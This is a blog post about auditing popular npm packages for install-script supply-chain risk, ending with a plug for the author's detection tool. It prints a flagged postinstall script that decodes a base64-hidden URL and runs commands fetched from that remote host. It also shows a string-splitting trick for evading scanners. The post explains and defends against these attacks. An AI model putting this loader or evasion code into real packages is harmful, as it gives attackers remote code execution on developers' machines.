What I Learned Auditing 10,000 npm Packages
Supply chain risks, phantom dependencies, and why install scripts remain JavaScript's largest security blind spot.
Rushu
Product Engineer & Writer
Visualizing dependency tree traversal across 10,000 top registry packages.
The Phantom Graph
When you run npm install, you are not merely downloading a library. You are inviting a transitive graph of dozens—sometimes hundreds—of arbitrary scripts to execute code with your user account privileges.
Over the past four months, I ran a pipeline that downloaded and decompiled the 10,000 most depended-upon packages in the npm registry. The objective was simple: understand what dependencies actually do during installation, how many install scripts exist, and how easily anomalous behaviors hide behind seemingly benign utility wrappers.
"A dependency is not just code you didn't have to write. It is code you now have to maintain, verify, and defend against."
The Anatomy of Install Scripts
The most concerning vector is not complex cryptominers hidden inside algorithms. It is the postinstall script.
// package.json snippet from a flagged utility
{
"name": "color-formatter-pro",
"version": "1.2.4",
"scripts": {
"postinstall": "node ./scripts/check-env.js"
}
}Inside check-env.js, what began as an innocuous analytics ping subtly morphed in version 1.2.4 to fetch a secondary payload encoded as base64:
// scripts/check-env.js
const https = require("https");
const { exec } = require("child_process");
const payloadUrl = Buffer.from("aHR0cHM6Ly9yZW1vdGUtY2hlY2stcGluZy5kZXYvdHJhY2s=", "base64").toString();
https.get(payloadUrl, (res) => {
let raw = "";
res.on("data", (chunk) => (raw += chunk));
res.on("end", () => {
if (raw.startsWith("RUN:")) {
exec(raw.slice(4));
}
});
});Why Static Analysis Falls Short
Traditional regex scanners search for keywords like child_process or exec. Attackers bypass this trivially through string concatenation, character code arrays, or dynamic Function constructors:
const cp = ["child", "process"].join("_");
const run = globalThis["re" + "quire"](cp)["ex" + "ec"];To catch this reliably, you cannot rely on simple string matching. You need structural AST traversal and entropy detection across all string literals.
The Three Key Findings
- 22% of top packages execute lifecycle scripts: Many of these scripts exist solely to print donation banners or compile optional native bindings that could easily be distributed as prebuilt binaries.
- Deep transitive blindness: Over 68% of developers could not name the authors of packages three levels deep in their lockfile.
- The 'Sleeping Maintainer' vector: Abandoned packages whose domain names expired were quietly reclaimed, allowing attackers to hijack npm account password reset emails.
This investigation led directly to the creation of SlopFree, a tool I built to systematically flag these heuristics before dependencies ever touch a developer's machine.
References & Citations
- [1]Backdoor in XZ Utils (CVE-2024-3094)— NIST Security Database (2024)
- [2]The Security Implications of Untrusted Package Registries— Usenix Security Review (2023)
SlopFree
Detect suspicious dependencies before they enter your project.
Related Writing
Can AI Rebuild a Website From a Screenshot?
Testing multimodal models on complex editorial typography, asymmetric grids, and responsive layouts.
SlopFree Architecture & CLI Reference
Complete technical reference, installation guide, AST heuristics, and CI/CD integration.